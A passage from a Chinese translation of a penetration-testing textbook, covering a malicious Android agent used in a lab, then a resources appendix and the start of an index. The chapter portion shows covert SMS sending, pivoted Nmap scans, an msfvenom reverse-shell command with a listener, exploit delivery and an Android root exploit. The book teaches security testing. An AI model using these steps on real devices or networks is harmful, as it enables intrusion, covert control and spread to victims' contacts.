Picture Location:
Rooted:
Ping Sweep:
File:
Packages: package:com.google.android.location❸
--*snip*--
package:com.android.providers.downloads
package:com.android.server.vpn

系统会询问你是否想查看攻击或代理的结果；输入Agents ❶。选择我们的代理 ❷。设备信息会从数据库中提取，尽管目前我们只有由之前命令收集的已安装应用列表 ❸。（你可以运行额外的信息收集命令来填充更多条目。）

远程控制

现在让我们看看如何使用代理来远程控制设备。我们可以告诉设备发送一条不会出现在短信应用的已发送消息中的短信。事实上，用户根本不会知道有消息被发送——这不就是利用信任圈的最佳方式吗？也许我们可以抓取所有用户的联系人，并向他们发送消息，告诉他们应该安装我们的酷炫应用，而这个应用恰好指向 SPF 代理。由于消息来自他们认识的人，用户更可能会安装该代理。

让我们先发送一条示例消息，如示例 20-19 所示。

示例 20-19. 远程控制代理

Commands:
--*snip*--
Select a command to perform or 0 to return to the previous menu
spf> **1**❶
Send an SMS message to another phone. Fill in the number, the message to send, and the delivery method(SMS or HTTP).
Number: **15555215558**
Message: **hiya Georgia**
Delivery Method(SMS or HTTP) **SMS**

在代理命令菜单中，选择选项 1.) 发送短信 ❶。当系统要求输入电话号码、消息内容和发送命令的方式时，告诉你的代理将短信发送到 Android 2.1 模拟器。

你的 Android 2.1 模拟器将收到来自 Android 2.2 模拟器的短信，内容是你输入的文本，在两个模拟器上都没有任何迹象表明这不是一条正常的消息。

通过移动设备进行跳板攻击

移动设备管理（MDM）和移动 antivirus 应用程序还有很长的路要走。与许多其他安全控制措施相比，要求员工使用这些解决方案的公司数量仍然很少，有些公司甚至选择完全不允许使用移动设备。但我们不得不面对一个现实：员工们可能知道公司的无线网络密码。连接你的移动设备后，它神奇地变成了与工作站及其他可能包含敏感信息的设备同一个网络中的一员。

自然，企业在强化外部资产方面做得要好得多。毕竟，这些设备对来自互联网的任何攻击者开放，它们也得到了大部分的关注。但在内部，情况就开始出现问题了。弱密码、缺失补丁和过时的客户端软件，都是我们在本书中讨论过的可能潜伏在内部网络中的问题。如果一个被利用的移动设备能够直接访问这些脆弱的系统，我们可能能够利用它作为跳板发起更多攻击，完全绕过外围防线。

我们在第十三章中研究了枢纽操作，当时我们使用一个被利用的机器从一个网络移动到另一个网络。在这里，我们可以使用 SPF 代理做同样的事情，通过被利用的移动设备在移动网络上有效地进行渗透测试，如图 20-4 所示。

图 20-4. 通过感染的移动设备攻击内部设备

使用 Nmap 进行端口扫描

我们首先通过使用代理命令选项来执行本地网络的 ping 扫描，看看有哪些设备在网络中。接下来，我们将进行一些端口扫描，如在第五章中所讨论的那样。事实证明，你可以在被利用的设备上安装 Nmap 的 Android 二进制文件。SPF 提供了安装脚本来安装 Nmap 和其他支持工具。从主菜单选择选项 10.) Install Stuff，并告诉 SPF 安装 Nmap for Android，如示例 20-20 所示。

示例 20-20. 安装 Nmap for Android

spf> **10**

What would you like to Install?
    1.) Android SDKS
    2.) Android APKTool
    3.) Download Android Nmap
spf> **3**

Download Nmap for Android(y/N)?
spf> **y**

现在，通过选择选项 12.) Run Nmap 从我们的 Android 代理运行 Nmap。让我们对 Windows XP 目标 ❶ 运行 Nmap，如示例 20-21 所示。确保我们在第十七章和第十八章中利用的 War-FTP 程序仍在运行。（我们将在下一节通过枢纽再次利用它。）

示例 20-21. 从 Android 运行 Nmap

Select a command to perform or 0 to return to the previous menu
spf> **12**

    Download Nmap and port scan a host of range. Use any accepted format for target specification in Nmap
Nmap Target: **192.168.20.10**❶
Delivery Method(SMS or HTTP) **HTTP**

让 Nmap 运行几分钟，然后检查代理收集的信息。你应该注意到文件字段链接到 /root/Smartphone-Pentest-Framework/frameworkconsole/text.txt。查看该文件的内容——你应该能看到类似示例 20-22 的内容。

示例 20-22. Nmap 结果

# Nmap 5.61TEST4 scan initiated Sun Sep  6 23:41:30 2015 as: /data/data/com.example.android.google
.apis/files/nmap -oA /data/data/com.example.android.google.apis/files/nmapoutput 192.168.20.10
Nmap scan report for 192.168.20.10
Host is up (0.0068s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
--*snip*--

# Nmap done at Sun Sep  6 23:41:33 2015 -- 1 IP address (1 host up) scanned in 3.43 seconds

与其使用被利用的移动设备作为枢纽进行整个渗透测试，不如通过 SPF 代理来执行一个利用程序。

在本地网络上利用系统

不幸的是，Android 设备默认无法识别像 Python 和 Perl 这样的脚本语言；为了运行漏洞利用，我们需要一些 C 代码。我们为 War-FTP 1.65 编写的一个简单 C 版本的漏洞利用代码可以在第十七章中找到，路径是/root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter.c。其中包含的 shellcode 运行一个windows/meterpreter/reverse_tcp载荷，并将其发送回 192.168.20.9 的 4444 端口。如果你的 Kali 系统使用的是其他 IP 地址，可以通过 Msfvenom 重新生成 shellcode，具体方法如下所示。（别忘了第十七章中的 War-FTP 的坏字符，我们可以使用 Msfvenom 的-b标志来避免这些字符。）

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 -f c -b '\x00\x0a\x0d\x40'

一旦你在漏洞利用中替换了 shellcode（如果需要的话），我们需要编译 C 代码以在 Android 设备上运行。如果我们使用 GCC，如第三章中所示，漏洞利用将在我们的 Kali 机器上正常运行，但 Android 手机上的 ARM 处理器将无法识别它。

我们在第十二章中简要介绍了 Windows 的交叉编译器，它允许我们在 Kali 上编译 C 代码并在 Windows 上运行。只要我们拥有 ARM 交叉编译器，也可以对 Android 做同样的事情。幸运的是，SPF 中就有一个。如示例 20-23 所示，从主菜单中选择9.) 编译代码以在移动设备上运行选项。

示例 20-23. 为 Android 编译 C 代码

spf> **9**

Compile code to run on mobile devices
    1.) Compile C code for ARM Android
spf> **1**❶

Compiles C code to run on ARM based Android devices. Supply the C code file and the output filename
File to Compile: **/root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter.c**❷
Output File: **/root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter**

选择1.) 为 ARM Android 编译 C 代码 ❶。系统会提示你选择要编译的 C 文件以及要保存编译后的二进制文件的位置 ❷。

现在，我们需要将 War-FTP 漏洞利用下载到我们的感染了的 Android 设备上。从代理命令菜单中，选择6选项下载文件。系统会询问你要下载的文件以及下载方法，如示例 20-24 所示。

示例 20-24. 下载漏洞利用

Select a command to perform or 0 to return to the previous menu
spf> **6**

    Downloads a file to the phone. Fill in the file and the delivery method(SMS or HTTP).
File to download: **/root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter**
Delivery Method(SMS or HTTP): **HTTP**

在运行漏洞利用之前，我们需要在 Msfconsole 中设置一个处理程序，如示例 20-25 所示。在 Kali 中打开 Msfconsole，使用multi/handler模块，并将选项设置为与 War-FTP 漏洞利用中的载荷相匹配。

示例 20-25. 设置 multi/handler

msf > **use multi/handler**
msf exploit(handler) > **set payload windows/meterpreter/reverse_tcp**
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf exploit(handler) > **exploit**

[*] Started reverse handler on 192.168.20.9:4444
[*] Starting the payload handler...

最后，到了运行漏洞利用的时候。如示例 20-26 所示，选择代理命令菜单中的7.) 执行命令选项；系统会提示你输入要运行的命令。

示例 20-26. 运行漏洞利用

Select a command to perform or 0 to return to the previous menu
spf> **7**

    Run a command in the terminal. Fill in the command and the delivery method(SMS or HTTP).

Command: **warftpmeterpreter 192.168.20.10 21**❶
Downloaded?: **yes**❷
Delivery Method(SMS or HTTP): **HTTP**

告诉 SPF 完整的命令，包括参数❶。在这种情况下，我们需要告诉漏洞攻击的 IP 地址和端口。SPF 会询问二进制文件是否已下载。如果是通过 SPF 下载的，它会在代理的文件目录中，SPF 需要知道从那里运行它。在我们的案例中，我们回答yes ❷，然后像往常一样输入传输方法。

观察你的 Metasploit 监听器。在大约一分钟后，你应该会看到一个 Meterpreter 提示符，如下所示。

meterpreter >

我们成功地使用了 SPF 作为攻击的枢纽。虽然这看起来不太令人兴奋，因为模拟器、Kali 和 Windows XP 目标都在同一网络中，但如果 Kali 在云端，而 Windows XP 目标和一个感染的 Android 设备在公司网络中，这个过程将会更有用。我们可以通过使用命令选项10.) TCP Listener来设置监听器，在感染的移动设备上捕获我们的 Shell。我们可以不再调用 Kali 机器上的监听器，而是直接通过 HTTP 或 SMS 将 Shell 发送回 SPF。使用 SMS 当然可以让我们完全绕过任何可能阻止攻击者从网络中获取 Shell 的外围过滤，比如防火墙和代理。此过程如图 20-5 所示。

图 20-5. 使用基于 SMS 的 Shell 绕过外围控制。

注意

除了接下来讨论的权限提升示例外，我们没有理由必须使用 Android 2.2 作为目标模拟器。本章中我们使用的其他恶意应用示例可以在任何版本的 Android 上运行。

权限提升

作为一个分支的 Linux 内核，Android 共享了一些 Linux 的权限提升漏洞，并且自身也有一些安全漏洞。甚至 OEM 厂商在实现 Android 时也加入了漏洞。例如，2012 年，发现三星设备在使用某种芯片时，在处理相机内存时存在权限提升漏洞，攻击者可以获得所有内存的读写访问权限。

如果你希望你的应用获得更多权限，你可以尝试利用代理中的已知问题来获得 root 权限，如示例 20-27 所示。

示例 20-27. 运行权限提升漏洞

Commands:
--*snip*--
Select a command to perform or 0 to return to the previous menu
spf> **5**
    1.) Choose a Root Exploit
    2.) Let SPF AutoSelect

Select an option or 0 to return to the previous menu
spf> **2**❶
    Try a privilege escalation exploit.

Chosen Exploit: rageagainstthecage❷
Delivery Method(SMS or HTTP): **HTTP**❸

在代理命令菜单中，选择选项5.) 权限提升。从这里我们有两个选项。我们可以手动选择 SPF 已知的 Android 漏洞利用，或者让 SPF 根据 Android 版本号自动选择。我们的 Android 2.2 模拟器易受 Rage Against the Cage 漏洞利用的攻击。尽管这是一个较旧的漏洞，但它在模拟器上效果很好，所以让我们让 SPF 自动选择漏洞利用，如图❶所示。因为这是 Android 2.2，SPF 正确地选择了rageagainstthecage ❷，并要求选择传递方法❸。

在让漏洞利用程序运行一段时间后，请返回主菜单，选择选项3。Rooted 字段应显示RageAgainstTheCage，如下所示。

Rooted: RageAgainstTheCage

从这里我们可以完全控制设备。我们可以通过 root shell 发出命令，或将代理重新安装为系统应用程序，从而比原始应用程序获得更多权限。

注意

这个特定的漏洞利用是资源耗尽攻击，因此，如果你希望继续使用模拟器进行其他练习，可能需要重启它，因为在此攻击之后，它可能会变得较慢。

总结

在本章中，我们简要了解了相对较新且快速发展的移动设备漏洞利用领域。我们使用我的 SPF 工具进行了多种攻击，主要是在模拟的安卓移动设备上。这些攻击当然也能在真实设备上以相同的方式工作。我们研究了一个远程攻击，检查越狱 iPhone 上的默认 SSH 密码，然后研究了两个客户端攻击示例。一个通过浏览器中的 WebKit 漏洞为我们提供了一个 Shell，另一个则通过从网页自动拨打的 USSD 代码远程控制设备。

我们转向了恶意应用程序，利用 SPF Android 代理在合法源代码或已编译的 APK 文件中植入后门。我们可以使用 NFC 和 SMS 等移动攻击向量欺骗用户安装我们的恶意应用。一旦代理安装成功，我们运行了如信息收集和远程控制等攻击，并使用 SPF 利用已知的 Android 平台漏洞提升我们的 root 权限。最后，我们将 SPF 代理作为跳板，攻击网络中的其他设备。我们从 Android 设备运行 Nmap 对 Windows XP 目标进行扫描，然后使用 C 语言编写的 War-FTP 漏洞利用，从 SPF 代理中利用 Windows XP 目标。

移动设备安全是一个令人兴奋的领域，随着这些设备进入工作场所，它为渗透测试增加了新的维度。作为渗透测试人员，了解一些移动设备漏洞将会派上用场。随着攻击者利用这些设备获取敏感数据并在网络中立足，渗透测试人员必须能够模拟这些相同的威胁。

附录 A. 资源

这里列出了一些在我信息安全学习旅程中帮助过我的资源，并且这些资源至今仍是我不断学习的参考。许多资源会定期更新，包含该领域的最新工具和技术。我鼓励你在阅读本书时参考这些资源，因此它们按章节列在这里。在列表的末尾是一些出色的课程，你可以利用它们进一步学习渗透测试。

第零章：渗透测试入门

NIST 信息安全测试技术指南：csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
渗透测试执行标准（PTES）：www.pentest-standard.org/

第二章：使用 Kali Linux

Command Line Kung Fu: blog.commandlinekungfu.com
《命令行简介（第二版）：Unix 和 Linux 命令的无脂指南》 作者：Nicholas Marsh（2010 年）
《Linux 命令行：完全入门》 作者：William E. Shotts, Jr.（No Starch Press，2012 年）
《Linux 入门与命令行功夫（套件）》 作者：Jason Cannon（2014 年）

第三章：编程

Discovery: github.com/leebaird/discover/
Stack Overflow: www.stackoverflow.com/
《暴力 Python：黑客、取证分析师、渗透测试员和安全工程师的烹饪手册》 作者：T.J. O’Connor（Syngress，2012 年）

第四章：使用 Metasploit 框架

《Metasploit：渗透测试员指南》 作者：David Kennedy、Jim O’Gorman、Devon Kearns 和 Mati Aharoni（No Starch Press，2011 年）
Metasploit 博客：* community.rapid7.com/community/metasploit/blog/*
Metasploit Minute 节目: hak5.org/category/episodes/metasploit-minute/
Metasploit Unleashed: www.offensive-security.com/metasploit-unleashed/Main_Page

第五章：信息收集

Google Hacking 数据库：* www.hackersforcharity.org/ghdb/*
《Nmap 网络扫描：官方 Nmap 项目网络发现与安全扫描指南》 作者：Gordon Fyodor Lyon（Nmap 项目，2009 年； nmap.org/book/）

第六章：寻找漏洞

国家漏洞数据库 CVSSv2：nvd.nist.gov/cvss.cfm/
Tenable 博客：* www.tenable.com/blog/*

第七章：捕获流量

《反黑客重载：计算机攻击与有效防御的逐步指南（第二版）》 作者：Edward Skoudis 和 Tom Liston（Prentice Hall，2006 年）
Ettercap: ettercap.github.io/ettercap/
SSLStrip: www.thoughtcrime.org/software/sslstrip/

第八章：利用

Exploit 数据库: www.exploit-db.com/
Packet Storm: packetstormsecurity.com/
SecurityFocus: www.securityfocus.com/
VulnHub: vulnhub.com/

第九章：密码攻击

CloudCracker: www.cloudcracker.com/
John the Ripper: www.openwall.com/john/
Packet Storm 字典列表: packetstormsecurity.com/Crackers/wordlists/
RainbowCrack 项目: project-rainbowcrack.com/table.htm
White Chapel: github.com/mubix/WhiteChapel/

第十一章：社会工程学

Social-Engineer: www.social-engineer.org/
TrustedSec: www.trustedsec.com/downloads/social-engineer-toolkit/

第十二章：绕过杀毒应用

Pentest Geek: www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm/
Veil-Evasion: github.com/Veil-Framework/Veil-Evasion/

第十三章：利用后阶段

Chris Gates 的博客, carnal0wnage: carnal0wnage.attackresearch.com/
Carlos Perez 的博客: www.darkoperator.com/
Obscuresec 博客: obscuresecurity.blogspot.com/
Pwn Wiki: pwnwiki.io/
Rob Fuller 的博客: www.Room362.com/

第十四章：Web 应用程序测试

Damn Vulnerable Web App: www.dvwa.co.uk/
Open Web Application Security Project (OWASP): www.owasp.org/index.php/Main_Page
OWASP WebGoat 项目: www.owasp.org/index.php/Category:OWASP_WebGoat_Project

第十五章：无线攻击

Aircrack 无线教程: www.aircrack-ng.org/doku.php?id=tutorial&DokuWiki=1b6b85cc29f360ca173a42b4ce60cc50
BackTrack 5 无线渗透测试初学者指南 由 Vivek Ramachandran 编著（Packt 出版社，2011 年）

第 16 至 19 章：漏洞开发

Corelan 团队教程: www.corelan.be/index.php/category/security/exploit-writing-tutorials/
FuzzySecurity: fuzzysecurity.com/
黑客技术，第二版：利用艺术 由 Jon Erickson 编著（No Starch Press, 2008）

第二十章：使用智能手机渗透测试框架

Damn Vulnerable iPhone App: github.com/prateek147/DVIA/
Drozer: www.mwrinfosecurity.com/products/drozer/
OWASP 移动安全: www.owasp.org/index.php/OWASP_Mobile_Security_Project

课程

Strategic Security (Joe McCray): strategicsec.com/
Offensive Security: www.offensive-security.com/information-security-training/
Exploit Development Bootcamp (Peter Van Eeckhoutte): www.corelan-training.com/index.php/training-2/bootcamp/
Sam Bowne: samsclass.info/
SecurityTube PentesterAcademy: www.pentesteracademy.com/

第二十二章：下载用于构建虚拟实验室的软件

你可以在 www.nostarch.com/pentesting/ 找到本书所用资源的链接，包括自定义的 web 应用程序、Ubuntu 目标以及 Kali Linux 虚拟机。使用密码 1stPentestBook?! 打开包含本书资源的 7-Zip 压缩包。

你可以在 www.7-zip.org/download.html 找到适用于 Windows 和 Linux 平台的 7-Zip 程序。Mac 用户可以使用 ez7z.en.softonic.com/mac/ 上的 Ez7z。

如果你无法下载文件，或者只想将它们送到你家门口，我们将以 10 美元的价格将包含文件的 DVD 寄给你。详情请访问 www.nostarch.com/pentesting/。

你可以在 Georgia Weidman 的网站找到更多资源： bulbsecurity.com/。

第二十三章：索引

关于数字索引的说明

索引条目中的链接显示为该条目所在章节的标题。由于某些章节有多个索引标记，因此一个条目可能有多个指向同一章节的链接。点击任何链接将直接带您到该标记所在的文本位置。

符号

3Com TFTP 2.0.1

下载并安装，SLMail 5.5

公共漏洞利用，用于传输模式漏洞，将公共漏洞利用工具移植以满足需求

3CTftpSvc 进程，附加，尝试崩溃

3CTftpSvc.exe，net 命令

7-Zip 程序，安装 VMware

& (和符号)，用于浏览器中运行命令，命令执行

符号，用于重定向输入，向文件添加文本

\ (双反斜杠)，用于转义，利用 Open phpMyAdmin

操作符，向文件添加文本，简化结果

include 命令 (C)，编写和编译 C 程序

| (管道符)，使用 grep

/ (斜杠)，作为 sed 中的分隔符，使用 grep

A

绝对路径，Linux 命令行

地址解析协议 (ARP) 基础，ARP 缓存中毒

地址空间布局随机化 (ASLR)，内存理论，栈保护

adduser 命令，学习命令：手册页，持久化

管理权限

获取控制域，检查 Bash 历史记录

用于 Windows 7 应用程序，Windows 本地提权模块

Windows 的管理员密码，安装和激活 Windows

Adobe Acrobat Reader，高级参数

安装，Adobe Acrobat Reader

高级执行标准 (AES)，自定义交叉编译

高级包装工具 (apt)，使用 awk 进行模式匹配

Aircrack-ng

使用破解 WEP 密钥，用 Aircrack-ng 破解 WEP 密钥

使用 Aircrack-ng 破解 WPA/WPA2 密钥，四次握手

Aireplay-ng

强制客户端重新连接，使用 Aircrack-ng 破解 WPA/WPA2 密钥

使用 ARP 包重播，注入数据包

airmon-ng check kill 命令，监控模式

Airmon-ng 脚本，扫描接入点

airodump-ng 命令，监控模式，用 Aircrack-ng 破解 WEP 密钥

所有用户，权限，文件权限

和号（&），用于在浏览器中运行命令，命令执行

安卓，客户端 Shell

模拟器，设置 SPF

设置，使用 Ettercap

启动，设置 Android 模拟器

与安全更新的关系，USSD 远程控制

脚本语言与 C 代码，使用 Nmap 进行端口扫描

SDK 管理器，设置 Android 模拟器

软件

构建，设置 SPF

部署，构建 Android 应用程序

安装，设置 Android 模拟器

虚拟设备管理器，设置 Android 模拟器

Android Master Key 漏洞，创建恶意 SPF 代理，反向控制 APK

匿名用户，在 Windows XP 目标上，捕获流量

避免杀毒应用程序，绕过杀毒应用程序

藏匿在明面上，使用 Veil-Evasion 创建加密的 Python 生成可执行文件

Microsoft Security Essentials，杀毒应用程序如何工作

载荷隐藏，VirusTotal

Railgun，Metasploit 后期利用模块

木马，木马

使用 Veil-Evasion，使用 Hyperion 加密可执行文件

VirusTotal，Microsoft Security Essentials

杀毒应用程序

它们的工作原理，Msfvenom

签名，移植我们的利用代码

杀毒定义，Msfvenom

Apache 服务器

默认“它工作”页面，入门指南

安装，XAMPP 1.7.2

APK 文件，反向控制源代码

安装 APKTool，反向控制 APK

向文件附加文本，向文件添加文本

apt（高级打包工具），使用 awk 进行模式匹配

参数字符串，使用 Perl 创建，劫持执行

ARP（地址解析协议）基础，ARP 缓存中毒

ARP 缓存中毒，解剖数据包

使用 Arpspoof，IP 转发

作为瓶颈，利用 ARP 缓存中毒冒充默认网关

使用 ARP 缓存中毒冒充默认网关，使用 Arpspoof 进行 ARP 缓存中毒

ARP 请求

生成，使用 ARP 请求中继攻击生成 IVs

中继攻击，使用 IVs 生成，注入数据包

Arpspoof，使用 ARP 缓存中毒，IP 转发

ASLR（地址空间布局随机化），内存理论，栈 Cookies

汇编指令，转换为 shellcode，获取 Shell

Atftpd TFTP 服务器，利用开放的 phpMyAdmin

攻击字符串，查找内存中的，将控制权传递给 SEH

Aurora 漏洞，浏览器漏洞利用

假冒认证，用 Aircrack-ng 破解 WEP 密钥

授权，渗透测试，预 engagement

自动安全更新

在 Windows 7 中选择退出，选择退出自动更新

关闭，安装和激活 Windows

AutoRunScript 参数，用于 Metasploit，高级参数

auxiliary/server/capture/smb 模块，隐形

awk 命令（sed），使用 awk 进行模式匹配

B

后门代码，USSD 远程控制

测试来自，利用第三方 Web 应用程序

后台命令（Meterpreter），Metasploit 持久化

在 Metasploit 中终止后台作业，浏览器漏洞利用

BackTrack Linux，使用 Kali Linux

条形码，QR（快速响应）码，近场通信

Bash 命令处理器，Linux 命令行

Bash 脚本，编程

else 语句，通过 if 语句添加功能

在 for 循环中，通过 if 语句添加功能

if 语句，运行我们的脚本

使用 ping 命令检测网络中的主机，Ping

运行，运行我们的脚本

精简结果，for 循环

then 语句，通过 if 语句添加功能

.bash_history 文件，net 命令

BeEF（浏览器漏洞利用框架），利用 XSS 和浏览器漏洞利用框架

绑定负载，通过中转运行漏洞利用

绑定 shell 负载，显示选项

绑定 Shell，打开命令 Shell 监听器，测试运行，利用

按位 XOR 运算，有线等效隐私

Bkhive，从 Windows SAM 文件恢复密码哈希

Blackboard，Java 相关，总结

BookApp 自定义 Web 应用程序

攻击，Web 应用程序测试

安装，安装附加软件

启动

Kali Linux，设置 Kali Linux

虚拟机延迟，通过物理访问导出密码哈希

启动密钥，下载配置文件，从 Windows SAM 文件恢复密码哈希

程序中的断点，运行 GDB

运行程序到下一个，运行 GDB

设置，劫持执行

桥接网络，用于 VMware 连接，设置 Kali Linux，配置虚拟机的网络，在 Mac OS 上的 VMware Fusion，在 Microsoft Windows 上的 VMware Player，设置 Ubuntu 8.10 目标

浏览器漏洞利用框架（BeEF），利用 XSS 漏洞与浏览器漏洞利用框架

browser_autopwn 模块，签名的 Java 小程序

浏览器

& 用于执行命令，命令执行

在移动设备中打开链接的攻击，客户端 Shell

自动渗透，browser_autopwn

漏洞利用，客户端攻击

暴力破解，密码管理

LM 哈希密码，通过物理访问转储密码哈希

MD5 哈希，破解 Linux 密码

NTLM 哈希密码，John the Ripper

在 Hyperion 中使用，自定义交叉编译

WPS PIN，使用 Aircrack-ng 破解 WPA/WPA2 密钥

缓冲区溢出

在 Linux 中，内存理论

防止漏洞利用，移植我们的漏洞利用代码

在第三方软件中，漏洞利用，利用第三方软件中的缓冲区溢出漏洞

由于 War-FTP 崩溃，导致崩溃

在 Windows 中，Windows 中的基于栈的缓冲区溢出

错误，代码审查中发现，模糊测试程序

Bully，用于破解 WPS，用 Bully 破解 WPS

Burp Proxy，使用其进行 Web 应用测试，Web 应用测试

Burp Repeater，Web 应用测试

Burp Spider，Web 应用测试

C

C 程序，编写和编译 C 程序

针对 Android 设备，使用 Nmap 进行端口扫描

导致崩溃，一个易受攻击的程序

内存使用，内存理论

漏洞，导致基于栈的缓冲区溢出，Linux 缓冲区溢出

CA（证书颁发机构），SSL 基础

Cadaver，攻击 XAMPP，Meterpreter

Cain 和 Abel for Windows，SMB 捕获

Cain 密码工具，SMB 捕获

调用约定，劫持执行

canaries，栈 Cookies

捕获流量，捕获流量

（参见 Wireshark）

ARP 缓存中毒，分解数据包

DNS 缓存中毒，DNS 缓存中毒

用于网络，捕获流量的网络

无线网络，监控模式

cat 命令，向文件添加文本

cat /etc/shadow 命令，利用已被入侵的服务

CCMP（带密码块链接消息认证码协议的计数模式），WPA2

cd 命令，Linux 命令行

CERTCN 选项，签名 Java 小程序

Java 小程序的证书，签名 Java 小程序

证书颁发机构（CA），SSL 基础

ceWL 自定义字典生成器，密码列表

检查功能，在 Metasploit 漏洞中，Metasploit 扫描器模块

chmod 命令，文件权限

使脚本可执行，Ping

客户端

使用 Aireplay-ng 强制重新连接，使用 Aircrack-ng 破解 WPA/WPA2 密钥

预先接触的联系信息

利用漏洞，使用 Metasploit 框架

渗透测试的目标，预先接触

客户端攻击

利用，HTTP 和 HTTPS 有效载荷

移动黑客攻击，默认 iPhone SSH 登录

剪贴板（Windows），从中窃取数据，利用 XSS 与浏览器利用框架

关闭

处理程序，利用 PDF 漏洞

shell，手动设置有效载荷

代码审查，使用它来查找漏洞，模糊测试程序

C 语言中的命令行参数，编写与编译 C 程序

命令行 Shell

打开监听器，检查端口是否正在监听

推送回监听器，打开命令行 Shell 监听器

命令，Mac OS 上的 VMware Fusion

（参见特定命令）

执行，本地文件包含漏洞

学习，更改目录

通用漏洞与暴露（CVE）系统，导出 Nessus 扫描结果

通用漏洞评分系统（CVSS），使用 Nessus 扫描

已被入侵的服务，利用，利用第三方 Web 应用

计算机名称，Windows 的，安装与激活 Windows

Conficker 蠕虫，查找 Metasploit 模块

配置文件

破解密码，破解 Linux 密码

下载，使用 TFTP 下载文件

connect 函数（Python），连接到端口

connect_ex 函数（Python），连接到端口

connect_udp 函数，编写 Metasploit 模块

客户端的联系信息，预接触

continue 命令（GDB），运行 GDB

复制文件，切换用户并使用 sudo

使用加密块链消息认证码协议（CCMP）的计数模式，WPA2

cp 命令，切换用户并使用 sudo

基于 Intel 的 CPUs 和寄存器，内存理论

崩溃，默认凭证

使用模糊测试进行尝试，尝试崩溃

导致，搜索 War-FTP 中的已知漏洞

在 GDB 中，运行 GDB

在 War-FTP 中，获取 Shell，SEH 覆盖漏洞利用

CRC-32（循环冗余校验 32），有线等效隐私

CreateThread API，使用 Windows API 进行 Python Shellcode 注入

凭证收集攻击方法，Web 攻击

凭证，SSL 剥离

通过暴力破解查找，密码管理

对于 FTP 服务器，解剖数据包

收集，键盘记录

在 Nessus 中，Nessus 策略

偷取存储的，收集凭证

cron 任务

使用自动化任务，将命令 Shell 推送回监听器

创建，Metasploit 持久化

crontab 文件，将命令 Shell 推送回监听器

跨站请求伪造（CSRF），利用浏览器利用框架中的 XSS

跨站脚本攻击（XSS），命令执行

检查反射型漏洞，检查反射型 XSS 漏洞

与 BeEF 一起使用，利用浏览器利用框架中的 XSS

Crunch 工具，密码列表

CSRF（跨站请求伪造），利用浏览器利用框架中的 XSS

Ctypes 库（Python），使用 Windows API 进行 Python Shellcode 注入

自定义交叉编译，编码

cut 命令，使用 grep，简化结果

CVE（常见漏洞和暴露）系统，导出 Nessus 结果

CVE-2008-2992，高级参数

CVSS（常见漏洞评分系统），使用 Nessus 扫描

循环冗余校验 32（CRC-32），有线等效隐私

循环模式，用于生成以确定偏移，生成循环模式以确定偏移

D

数据执行防护（DEP），内存理论，地址空间布局随机化

数据操作，在 Kali Linux 中，使用 vi 编辑文件

数据库

使用 SQLMap 转储，使用 SQLMap

利用访问，通过 TFTP 下载文件

查找第一个名称，测试 SQL 注入漏洞

用于 SPF，设置 SPF

调试器，安装，Adobe Acrobat Reader

调试信息，针对 GDB，一个易受攻击的程序

默认网关，管理网络

通过 ARP 缓存中毒进行伪装，使用 Arpspoof 进行 ARP 缓存中毒

查找，设置静态 IP 地址

默认有效载荷，用于 Metasploit，寻找兼容的有效载荷

默认端口，用于简单邮件传输协议 (SMTP)，端口扫描

委托令牌，SSHExec

删除

文件，切换用户并使用 sudo

每行的最后一个字符，sed 命令处理，简化结果

非军事区，SMB 捕获

拒绝服务（DoS）条件，ARP 基础

DEP（数据执行防护），内存理论，地址空间布局随机化

部署 Android 应用，构建 Android 应用

目标主机不可达消息，设置静态 IP 地址

/dev/urandom 文件（Linux），自定义交叉编译

DHCP（动态主机配置协议），管理网络

字典攻击，针对 WPA/WPA2，使用 Aircrack-ng 破解 WPA/WPA2 密钥

密码中的字典单词，密码管理

更改，Linux 命令行

创建，切换用户并使用 sudo

显示当前，Linux 命令行

disass 命令（GDB），运行 GDB

DNS（参见域名系统 (DNS)）

DNS 缓存中毒，DNS 缓存中毒

Dnsspoof，入门

文档，更改目录

（另请参见 man 页）

域

添加管理员账户，持久化

获取管理权限，检查 Bash 历史

模拟设置，设置静态 IP 地址

用户，密码哈希值，隐身模式

域名系统 (DNS)

侦察，Whois 查询

区域传输， Nslookup

域名，解析， DNS 缓存中毒

域名注册商， Whois 查询

DoS（拒绝服务）条件， ARP 基础

双反斜杠（\），用于转义，利用开放 phpMyAdmin

下载中

3Com TFTP 2.0.1， SLMail 5.5

Kali Linux，安装 VMware

用户负载，选择输出格式

敏感文件，使用 TFTP 下载文件

SLMail 5.5， SLMail 5.5

智能手机渗透测试框架（SPF），设置 Android 模拟器

使用 TFTP，利用开放 phpMyAdmin

War-FTP， Adobe Acrobat Reader

Windows SAM，下载配置文件

WinSCP， Adobe Acrobat Reader

dpkg 命令，安装 Nessus

双网卡系统， SMB 捕获

动态分析，杀毒软件的工作原理

动态主机配置协议（DHCP），管理网络

E

EAX 寄存器，内存理论， SEH 覆写漏洞

EBP 寄存器，内存理论，内存理论，运行 GDB，劫持执行

EBX 寄存器，内存理论

echo 命令，向文件添加文本， Ping

ECX 寄存器，内存理论

EDI 寄存器，内存理论，劫持执行

编辑文件，文件权限

EDX 寄存器，内存理论

EIP 寄存器，内存理论，内存理论

控制，在 GDB 中崩溃程序

定位，引发崩溃

验证偏移，生成循环模式以确定偏移，劫持执行

else 语句，在 Bash 脚本中，使用 if 语句添加功能

电子邮件

搜索地址，区域传输

社会工程攻击，社会工程学

模拟器， Android，设置 SPF

设置， Ettercap

启动，设置 Android 模拟器

编码器， VirusTotal

加密密钥，用于 Syskey 工具，下载配置文件

结束，在 Ruby 中，编写 Metasploit 模块

字节序，劫持执行，劫持执行

企业连接过程，在 WPA/WPA2 中，WPA2

转义，双反斜杠（\）的，利用开放的 phpMyAdmin

ESI 寄存器，内存理论

ESP 寄存器，内存理论，内存理论，劫持执行

跟踪栈，将控制权传递给 SEH

/etc/crontab 文件，将命令 Shell 推送回监听器，Metasploit 持久化

/etc/john/john.conf 文件，破解 Linux 密码

/etc/network/interfaces 文件，管理网络

